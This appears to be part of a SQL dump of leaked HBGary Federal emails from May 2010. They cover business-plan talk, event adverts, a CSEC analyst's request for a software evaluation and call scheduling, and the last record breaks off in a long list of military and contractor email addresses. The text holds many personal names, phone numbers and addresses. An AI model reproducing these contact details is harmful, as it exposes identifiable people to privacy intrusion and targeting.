<aaron@hbgary.com>','Pic','\r\n\r\n',8416,'aaron_hbgary_com/8416.html'),(6701,'2010-05-26','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297004842.M428554P14101Q1556.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Next Steps','Aaron\r\n\r\nNext steps for me would be to flush out the concept more completely, \r\nperhaps just for myself, do you have anything prepared for a pitch \r\nstandpoint?  I think your idea is definitely intriguing and could be \r\nvery interesting in application.  On the business side, I would like to \r\nchat with someone who knows that space from the VC side, perhaps the \r\nguys that make Popcap games.  Do you have anything prepared that we \r\ncould take to our VC contacts.\r\n\r\nthanks\r\n\r\nnathan\r\n\r\n\r\n\r\nOn 5/25/2010 3:33 PM, Aaron Barr wrote:\r\n> Ray/Nate,\r\n>\r\n> Maybe having some time to think about what we discussed i am curious\r\n> as to your thoughts and possible next steps?  I have many more ideas\r\n> about specific application of capabilities as well as different\r\n> approaches to starting.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>    \r\n',630,'aaron_hbgary_com/630.html'),(6702,'2010-05-25','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297004842.M637128P14101Q1557.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - SAIC Tech Tuesday','May 25, 2010 12:00 PM : SAIC Tech Tuesday \r\n',5726,'aaron_hbgary_com/5726.html'),(6703,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004847.M608220P14101Q1558.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,','Re: Next Steps','Ha.  I forgot to send you the Business Plan.  This plan was developed last summer.  The landscape has changed a bit since then, however nothing still comes close in my opinion to delivering such utility to localized content and SNS.  I know I have a knack as a technology futurist and developing content people use but that only gets you part way there.  I would love to have access to someone that knows the VC and commercial startup space.  We could make this big.  Very interested in your comments.\r\n\r\nAaron\r\n\r\n',7051,'aaron_hbgary_com/7051.html'),(6704,'2010-05-26','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004848.M110167P14101Q1559.eml','aaron@hbgary.com','June 11 Monthly Lunch with John Garing, Director SPI, DISA - Sheraton, Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     June \r\n        11 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Mr. John Garing\r\n        Director, Strategic Planning & Information (SPI)\r\n        Defense Information Systems Agency (DISA)\r\n        (speaker biography) \r\n         \r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              June 11, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n            &nbsp;\r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              \r\n              \r\n            \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST\r\n              Bamboo Solutions\r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Intellifiber Networks\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n            \r\n               \r\n            \r\n          LGS \r\n              Innovations\r\n              MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n               \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    Young AFCEANS Mentor-Protege Night - &quot;Career Progression&quot;\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Small Business Breakfast - DISA GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      2nd Annual \r\n                      Warfighter Support AGENCIES IT DAY\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',13990,'aaron_hbgary_com/13990.html'),(6705,'2010-05-26','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004848.M428112P14101Q1560.eml','aaron@hbgary.com','Stevens Institute - AFCEA Discount and June 3 Open House','\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n  AFCEA members receive a 5% tuition discount on all Stevens Institute of Technology courses - both online and on site! All course materials are included. You can also take advantage of the Stevens Yellow Ribbon program. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    If you\'re having trouble viewing this email, you may see it online.\r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;\r\n      \r\n      &nbsp;\r\n      \r\n      &nbsp;\r\n      \r\n      &nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    1\r\n    Castle Point on Hudson | Hoboken, NJ 07030\r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n \r\n \r\n AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org \r\n	  \r\n \r\n  \r\n  \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11873,'aaron_hbgary_com/11873.html'),(6706,'2010-05-26','\"Deholo Nali\" <deholo@gmail.com>','/aaron@hbgary.com/new/1297004848.M651388P14101Q1561.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RECon evaluation','Aaron,I&#39;ve registered at HBGary.com, but can&#39;t seem to be able to download Responder Pro.Could you make Responder Pro available for me to download ?Deholo\r\nOn Tue, May 25, 2010 at 9:13 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:\r\nThank you, Aaron, for your prompt answer.\r\nI will get back to you tomorrow.\r\nDeholo\r\nOn Tue, May 25, 2010 at 4:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Deholo,I am happy to help and would like to get your feedback.  I will giveyou a call tomorrow.  In the meantime you can download from HBGary.com\r\n\r\nand install Responder Pro which comes with RECon and DDNA.  Onceinstalled please email me the machine Id your given.AaronSent from my iPad\r\n\r\n\r\nOn May 25, 2010, at 1:39 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:&gt; Dear Aaron,&gt; My name is Deholo Nali. I&#39;m working for the Communications Security Establishment in Canada (CSEC).\r\n\r\n&gt; My unit would like to evaluate RECon before deciding how many copies we&#39;d buy. Could we make arrangements for this purpose ?&gt; My number is 613-949-5607.&gt; Deholo\r\n\r\n\r\n',7617,'aaron_hbgary_com/7617.html'),(6707,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004848.M853606P14101Q1562.eml','\"Deholo Nali\" <deholo@gmail.com>','Re: RECon evaluation','Absolutely. &nbsp;What email address did u use to register?AaronOn May 26, 2010, at 8:48 AM, Deholo Nali wrote:Aaron,I\'ve registered at HBGary.com, but can\'t seem to be able to download Responder Pro.Could you make Responder Pro available for me to download ?Deholo\r\nOn Tue, May 25, 2010 at 9:13 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:\r\nThank you, Aaron, for your prompt answer.\r\nI will get back to you tomorrow.\r\nDeholo\r\nOn Tue, May 25, 2010 at 4:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Deholo,I am happy to help and would like to get your feedback. &nbsp;I will giveyou a call tomorrow. &nbsp;In the meantime you can download from HBGary.com\r\n\r\nand install Responder Pro which comes with RECon and DDNA. &nbsp;Onceinstalled please email me the machine Id your given.AaronSent from my iPad\r\n\r\n\r\nOn May 25, 2010, at 1:39 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:&gt; Dear Aaron,&gt; My name is Deholo Nali. I\'m working for the Communications Security Establishment in Canada (CSEC).\r\n\r\n&gt; My unit would like to evaluate RECon before deciding how many copies we\'d buy. Could we make arrangements for this purpose ?&gt; My number is 613-949-5607.&gt; Deholo\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4296,'aaron_hbgary_com/4296.html'),(6708,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004849.M111818P14101Q1563.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Companies we should talk to.','Chris,\r\n\r\nTake a look at these companies.  I think we should reach out to them to see if anyone in their company holds clearances that we could have an initial discussion with.  I think PointAbout is the largest and most interesting in the area.\r\n\r\nWhat is the current path/status?\r\n\r\n-----------------\r\n\r\nbeavercreekconsulting.com - based in Northern Virginia.\r\n\r\nwww.pointabout.com/  - for this company specifically check out appmakr.com...very cool. Based in DC.\r\n\r\nfirethorn.com - they are a subsidiary of Qualcomm.  They have been mostly focused in the financial app dev. market but with Qualcomm they may be able to offer other services as well.  HQ is in Atlanta but Qualcomm has some big offices here, not sure if they have any firethorn presence.\r\n\r\nMobomo - app development located in DC.  \r\n\r\nApolloMatrix - they look a bit weaker than some of the others but could be wrong.  Local.\r\n\r\nZerion Software - Herndon, web/mobile development.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11591,'aaron_hbgary_com/11591.html'),(6709,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004849.M313711P14101Q1564.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: CEIC Conf next week','Hi Mike,Could I get Roberts contact info?Thanks,AaronOn May 24, 2010, at 12:39 PM, Mulville, Michael E. wrote:\r\nSorry- hit the send button to fast.POC robert Pazynski.  I\'ll pass his details along shortly.Mike\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Mulville, Michael E.\r\nSent: Mon May 24 12:13:28 2010Subject: Re: CEIC Conf next week\r\n\r\nHi Mike,Question for you. &nbsp;I understand the NANA positions for HQ are pretty much filled by existing team mates but there might be some opportunities to fill some positions in San Antonio? &nbsp;Do you know if that is correct? &nbsp;Any chance you could put me in contact with the PM?Thanks,AaronOn May 18, 2010, at 6:51 PM, Mulville, Michael E. wrote:Aaron and Bob –Will either of you be at the CEIC Conf next week.&nbsp;Let me know – and if not – anyone I could meet up with ?&nbsp;Thx - Mike&nbsp;&nbsp;Mike Mulville&nbsp;VP, Cyber CTOSAIC Cyber ProgramsMulvilleM@saic.comO/ 703.676.8381&nbsp; M/ 703.622.91211710 Saic Dr.McLean, VA 22102&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',117,'aaron_hbgary_com/117.html'),(6710,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004849.M520335P14101Q1565.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Bob','bob,any call back from Brad?AaronOn May 11, 2010, at 1:01 PM, Bob Slapnik wrote:Brad called me back.&nbsp; He is traveling this week, but would love to meet with Aaron next week.&nbsp; He said he will call me tomorrow to set a time.&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, May 11, 2010 12:19 PMTo:&nbsp;\'Bob Slapnik\'; \'Aaron Barr\'Subject:&nbsp;RE: Bob&nbsp;Sure&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, May 11, 2010 9:08 AMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'Subject:&nbsp;RE: Bob&nbsp;Yes.&nbsp; Brad could have biz for HBG Fed for mobile devices.&nbsp;How about if I intro via email to start?&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, May 11, 2010 11:45 AMTo:&nbsp;\'Bob Slapnik\'; \'Aaron Barr\'Subject:&nbsp;Bob&nbsp;Aaron wants an intro to Brad Behr and IOMaxis , can you arrange?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10 02:26:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10 02:26:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4438,'aaron_hbgary_com/4438.html'),(6711,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004849.M730659P14101Q1566.eml','\"Charles Copeland\" <charles@hbgary.com>','Responder Pro Eval','Chark,\r\n\r\nCan you open up the account of Deholo Nali  to download Responder Pro for an eval?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',878,'aaron_hbgary_com/878.html'),(6712,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004849.M938570P14101Q1567.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','PenTest Discussion','Ira,\r\n\r\nDo you have some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10051,'aaron_hbgary_com/10051.html'),(6713,'2010-05-26','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004850.M146718P14101Q1568.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: PenTest Discussion','today is tight.  how dos tomorrow PM (eastern) look for you?\r\n\r\n\r\n\r\nOn May 26, 2010, at 10:20 AM, Aaron Barr wrote:\r\n\r\nIra,\r\n\r\nDo you have some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',7006,'aaron_hbgary_com/7006.html'),(6714,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004850.M429913P14101Q1569.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: PenTest Discussion','Looks good.  3pm?\r\nAaron\r\n\r\nOn May 26, 2010, at 10:22 AM, Ira Entis wrote:\r\n\r\n> today is tight.  how dos tomorrow PM (eastern) look for you?\r\n> \r\n> \r\n> \r\n> On May 26, 2010, at 10:20 AM, Aaron Barr wrote:\r\n> \r\n> Ira,\r\n> \r\n> Do you have some time to talk today?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7967,'aaron_hbgary_com/7967.html'),(6715,'2010-05-26','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004850.M678710P14101Q1570.eml','\"Aaron Barr\" <aaron@hbgary.com>','Call: Ira & Aaron re: LANL','When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\nWhere: Aaron to call Ira @ 703.957.0001\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n',9616,'aaron_hbgary_com/9616.html'),(6716,'2010-05-26','\"Deholo Nali\" <deholo@gmail.com>','/aaron@hbgary.com/new/1297004850.M890366P14101Q1571.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RECon evaluation','deholo@gmail.com : )On Wed, May 26, 2010 at 9:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAbsolutely.  What email address did u use to register?Aaron\r\nOn May 26, 2010, at 8:48 AM, Deholo Nali wrote:Aaron,I&#39;ve registered at HBGary.com, but can&#39;t seem to be able to download Responder Pro.\r\nCould you make Responder Pro available for me to download ?Deholo\r\nOn Tue, May 25, 2010 at 9:13 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:\r\n\r\nThank you, Aaron, for your prompt answer.\r\nI will get back to you tomorrow.\r\nDeholo\r\nOn Tue, May 25, 2010 at 4:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Deholo,I am happy to help and would like to get your feedback.  I will giveyou a call tomorrow.  In the meantime you can download from HBGary.com\r\n\r\n\r\nand install Responder Pro which comes with RECon and DDNA.  Onceinstalled please email me the machine Id your given.AaronSent from my iPad\r\n\r\n\r\nOn May 25, 2010, at 1:39 PM, Deholo Nali &lt;deholo@gmail.com&gt; wrote:&gt; Dear Aaron,&gt; My name is Deholo Nali. I&#39;m working for the Communications Security Establishment in Canada (CSEC).\r\n\r\n\r\n&gt; My unit would like to evaluate RECon before deciding how many copies we&#39;d buy. Could we make arrangements for this purpose ?&gt; My number is 613-949-5607.&gt; Deholo\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',2272,'aaron_hbgary_com/2272.html'),(6717,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004851.M294373P14101Q1572.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Call: Ira & Aaron re: LANL','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ira Entis \r\n> Date: May 26, 2010 10:25:26 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Call: Ira & Aaron re: LANL\r\n> \r\n> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n> Where: Aaron to call Ira @ 703.957.0001\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4432,'aaron_hbgary_com/4432.html'),(6718,'2010-05-26','\"thomas mcclure\" <thomasmcclurester@gmail.com>','/aaron@hbgary.com/new/1297004851.M695276P14101Q1573.eml','3CCG.CCE@tinker.af.mil,5ccg.cc@robins.af.mil,aaron.becker.ctr@peterson.af.mil,aaron.frost@shaw.af.mil,aaron@hbgary.com,acarney@harris.com,adam.lyons@northcom.mil,AETC.A6.Workflow@Randolph.AF.Mil,af.wf@afspc.af.mil,agroves@quantechserv.com,Aiman.Jalil@Honeywell.com,ajrn.paulson@peterson.af.mil,al.olson@lmco.com,al.whitmore@gdit.com,al_mink@sra.com,alan.moore@gdc4s.com,alanfeldkamp@yahoo.com,albert.yates@us.af.mil,albert.zelenak@peterson.af.mil,alfred.lee.ctr@peterson.af.mil,alice.herbert@northcom.mil,alisa.ricks@pentagon.af.mil,allen.vickrey@us.af.mil,amguerber@gmail.com,andy.mcguire@tkcis.com,angela.schiappi@peterson.af.mil,anthony.faughn@hurlburt.af.mil,anthony.roake@peterson.af.mil,anthony.tydingco@schriever.af.mil,arnold_m_berry@raytheon.com,arthur.price-02@scott.af.mil,ashley.mclaughlin@us.af.mil,barbara.digioia@dataline.com,barbara.g.fast@boeing.com,Barry.cole@kirtland.af.mil,bbradley@rabradley.us,bbutler@meitechinc.com,bctighe@aol.com,bdoll@caci.com,beacalderon@webheadgroup.com,ben.bohl@anixter.com,benny.landfair@peterson.af.mil,bhutch5599@gmail.com,bill.james@techteam.com,bill.mccoy@disa.mil,bill.menter@viasat.com,Bill.Ross@gdc4s.com,blaine.burnham@bwburnham.cpm,blipsteuer@etipros.com,bob.condrey@baesystems.com,boutello@cisco.com,brad.fugitt@ramnsco.com,bradley.kolarov@ca.com,brandon.white@peterson.af.mil,breeze_cathy@bah.com,brenda.burgess@gunter.af.mil,brennan.baybeck@sun.com,brent.wells@nellis.af.mil,brett.fowler@dm.af.mil,brett.scarborough@raytheon.com,brian.carron@gd-ais.com,brian.jenrette@northcom.mil,brian.wilkey@us.af.mil,brian.wohlwinder@peterson.af.mil,brownma@stratcom.mil,callahan@isi.edu,carl.silber@peterson.af.mil,carolf.jackson@pentagon.af.mil,cassandra.harnish@wpafb.af.mil,cathlin.fowler@HDS.com,cathy.haddock@peterson.af.mil,cdecarlo@cisco.com,charles.elmore@afncr.af.mil,charles.rizzo@ca.com,charles.stebbins@peterson.af.mil,charles.w.box@boeing.com,charles.yates@peterson.af.mil,chester.g.fossum@boeing.com,chris.cortez@microsoft.com,chris.koehn@abacussg.com,chris@craytek.com,christina.hoggatt@peterson.af.mil,christopher.amrhein@pentagon.af.mil,Christopher.C.Foster@raytheon.com,christopher.denz@peterson.af.mil,christopher.geddis@peterson.af.mil,christopher.l.jensen@saic.com,christopher.peake@sentar.com,chuck_kelm@landrieu.senate.gov,Cliff.Mangum@trantech-inc.com,coby.nagy@ang.af.mil,colleen.murphy@peterson.af.mil,cook@rand.org,corey.benedicto@northcom.mil,corey.robinson@cheyennemountain.af.mil,cory.castle@us.army.mil,courta@qualcomm.com,craig.lambert@northcom.mil,creamer_don@bah.com,Creamer_william@bah.com,crupp@gtri.com,csumstine@mitre.org,cvance@microsoft.com,cwhittall@roundarch.com,cynthia.gohier@peterson.af.mil,cynthia.mar@sas.com,Dale.Anderson@mail.house.gov,dalrymple_steve@bah.com,damian@raytheon.com,daniel.conrad@quest.com,daniel.knight@northcom.mil,daniel.steele@peterson.af.mil,darin.price@smdc-cs.army.mil,darrell.gregg@ustranscom.mil,darrin.dubose@northcom.mil,darryl.baldeosingh@peterson.af.mil,Darryl.Williams@partsol.com,dave.mcneely@macb.com,dave.missal@oracle.com,Dave_Hightower@Yahoo.com,david.cisneros@eglin.af.mil,david.d.bettger@boeing.com,david.fitzgerald@tasc.com,david.foster@northcom.mil,david.hathaway@us.ibm.com,david.hluska@cheyennemountain.af.mil,david.j.murphy@boeing.com,david.maestas@techguard.com,david.mcminn@managemobility.com,david.mulligan@peterson.af.mil,David.peterson2@peterson.af.mil,david.pooley@afspc.af.mil,david.sorrels@hurlburt.af.mil,david.taylor@ngc.com,david.willcox@elmendorf.af.mil,david.wright@northcom.mil,david_mulligan@live.com,ddrost@tibco.com,dean.economou@quest.com,delbert.jones@buckley.af.mil,dennis.davidson1@peterson.af.mil,dennis.fairchild@smdc.army.mil,dewey.ford@peterson.af.mil,dfoley@redhat.com,dfrisby-griffin@ciber.com,dhild@mitre.org,diane.paton@us.army.mil,dianne.waits@teradata.com,don.byrd@k2share.com,don.holdridge@L-3Com.com,don.larson@peterson.af.mil,donna.vanhoose@boeing.com,douglas.gray@us.af.mil,douglas.kelly@wpafb.af.mil,dougvan@microsoft.com,drubal@cisco.com,dturner@epsilonsystems.com,durhame@stratcom.mil,dvanbelleghem@nciinc.com,dwain.stevens@peterson.af.mil,dwight.beard@tinker.af.mil,ed.decker@btas.com,ed.frantz@itt.com,ed.kolczynski@ngc.com,ed.rios@cyberspaceops.com,edward.chow@jpl.nasa.gov,edward.strecker@peterson.af.mil,eickmeier_daniel@bah.com,elizabeth.fritsche@ca.com,elston.obermann@eads-na-security.com,eric.carrano@us.af.mil,eric.charest@losangeles.af.mil,eric.lingle@pentagon.af.mil,eric.schnittger@ngc.com,eric.svarverud@serco-NA.com,eric.vaillancourt.ctr@peterson.af.mil